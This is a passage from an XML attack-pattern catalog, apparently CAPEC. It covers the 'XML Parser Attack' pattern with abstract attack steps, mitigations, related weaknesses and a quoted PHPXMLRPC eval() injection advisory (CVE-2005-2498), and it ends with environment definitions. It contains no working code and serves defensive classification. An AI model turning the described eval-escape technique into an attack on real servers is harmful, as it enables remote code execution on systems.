					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Evgeny Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
						<Modification_Date>2007-03-22</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="99" Name="XML Parser Attack" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Applications often need to transform data in and out of the XML format by
						using an XML parser. It may be possible for an attacker to inject data that
						may have an adverse effect on the XML parser when it is being processed.
						These adverse effects may include the parser crashing, consuming too much of
						a resource, executing too slowly, executing code supplied by an attacker,
						allowing usage of unintenteded system functionality, etc. An attacker's goal
						is to leverage parser failure to his or her advantage. In some cases it may
						be possible to jump from the data plane to the control plane via bad data
						being passed to an XML parser [1].</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker determines the input data stream that
												is being processed by an XML parser on the server
												side.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>An attacker crafts input data that may have an
												adverse effect on the operation of the XML parser
												when the data is parsed on the server.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>An application uses an XML parser to perform transformation on
						user-controllable data.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text> An application does not perform sufficient validation to ensure that
						user-controllable data is safe for an XML parser.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>"PHPXMLRPC aka XML-RPC For PHP is a PHP implementation of the XML-RPC
							web RPC protocol, and was originally developed by Edd Dumbill of Useful
							Information Company. As of the 1.0 stable release, the project has been
							opened to wider involvement and moved to SourceForge. PHPXMLRPC is used
							in a large number of popular web applications such as PostNuke, Drupal,
							b2evolution, and TikiWiki. Unfortunately PHPXMLRPC is vulnerable to a
							remote php code execution vulnerability that may be exploited by an
							attacker to compromise a vulnerable system.</Text>
						<Text>Remote Command Execution:</Text>
						<Text>PHPXMLRPC is vulnerable to a very high risk remote php code execution
							vulnerability that may allow for an attacker to compromise a vulnerable
							webserver. The vulnerability is the result of unsanatized data being
							passed directly into an eval() call in the parseRequest() function of
							the XMLRPC server.</Text>
						<Text>By creating an XML file that uses single quotes to escape into the
							eval() call an attacker can easily execute php code on the target
							server. This has a lot to do with the fact that magic_quotes_gpc() does
							not apply to $HTTP_RAW_POST_DATA so using single quotes is not a
							problem" [2].</Text>
						<Text>Reference: GulfTech Security Research"PHPXMLRPC Remote Code
							Execution", SecurePoint - BugTraq Archive:
							"http://msgs.securepoint.com/bugtraq"</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2005-2498</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Denial of service (making the parser crash)</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Arbitrary code execution</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>Bad data is continuously passed to the XML parser, possibly making it
							crash.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Carefully validate and sanitize all user-controllable data prior to
						passing it to the XML parser routine. Ensure that the resultant data is safe
						to pass to the XML parser.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Perform validation on canonical data.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Pick a robust implementation of an XML parser.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Validate XML against a valid schema or DTD prior to parsing.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>Application XML-compliant interface</Text>
			</Injection_Vector>
			<Payload>
				<Text>User-controllable XML code</Text>
			</Payload>
			<Activation_Zone>
				<Text>The XML parser code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>112<!--Missing XML Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>19<!--Data Handling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>674<!--Uncontrolled Recursion--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>770<!--Allocation of Resources Without Limits or Throttling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>82<!--Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>Shlomo, Yona</Reference_Author>
					<Reference_Link>http://yeda.cs.technion.ac.il/~yona/talks/xml_parser_attacks/slides/slide2.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Author>GulfTech Security Research</Reference_Author>
					<Reference_Title>PHPXMLRPC Remote Code Execution</Reference_Title>
					<Reference_Section>BugTraq Archive</Reference_Section>
					<Reference_Publication>SecurePoint</Reference_Publication>
					<Reference_Link>http://msgs.securepoint.com/bugtraq</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Sean Barnum</Submitter>
						<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
						<Submission_Date>2007-03-25</Submission_Date>
						<Submission_Comment>Identified priority for pattern
							creation</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Evgeny Lebanidze</Modifier>
						<Modifier_Organization>Cigital, Inc.,</Modifier_Organization>
						<Modification_Date>2007-03-21</Modification_Date>
						<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-16</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
	</Attack_Patterns>
	<Environments>
		<Environment ID="env-All">
			<Environment_Title>All</Environment_Title>
			<Environment_Description>All environments are applicable</Environment_Description>
		</Environment>
		<Environment ID="env-ClientServer">
			<Environment_Title>Client-Server</Environment_Title>
			<Environment_Description>An environment using distinct client and server software. The
				client is typically, but not always, native binaries on a standard platform. The
				server can be any technology at all, independent of the
				client.</Environment_Description>
		</Environment>
		<Environment ID="env-CommProtocol">
			<Environment_Title>Communication Protocol</Environment_Title>
			<Environment_Description>A communication protocol. The protocol could be a unicast
				protocol such as Kerberos, a multicast protocol such as IPTV, or a broadcast
				protocol such as parts of DHCP. Also, the protocol may exist at any of the seven OSI
				layers.</Environment_Description>
		</Environment>
		<Environment ID="env-Embedded">
			<Environment_Title>Embedded Devices</Environment_Title>
			<Environment_Description>The environment on embedded devices is characterized by limited
				memory and processing power. They generally have minimal security controls because
				of their environmental constraints, and often rely on bigger systems to provide
				security controls.</Environment_Description>
		</Environment>
		<Environment ID="env-Local">
			<Environment_Title>Local Environment</Environment_Title>
			<Environment_Description>The local environment of the host that the attacker has access
				to. The attacker may or may not have physical access to the host, but does have the
				privileges to execute commands on the host.</Environment_Description>
		</Environment>
		<Environment ID="env-Peer2Peer">
			<Environment_Title>Peer-To-Peer Environment</Environment_Title>
			<Environment_Description>A peer-to-peer environment is one that does not have the
				concept of separate clients and servers; all nodes are equal peers that
				simultaneously function as both clients and servers.</Environment_Description>
		</Environment>
		<Environment ID="env-Web">
			<Environment_Title>Web Environment</Environment_Title>
			<Environment_Description>A traditional web environment involving HTTP clients and
				servers and HTTP 1.0 or 1.1 protocol.</Environment_Description>
		</Environment>
	</Environments>
</Attack_Pattern_Catalog>
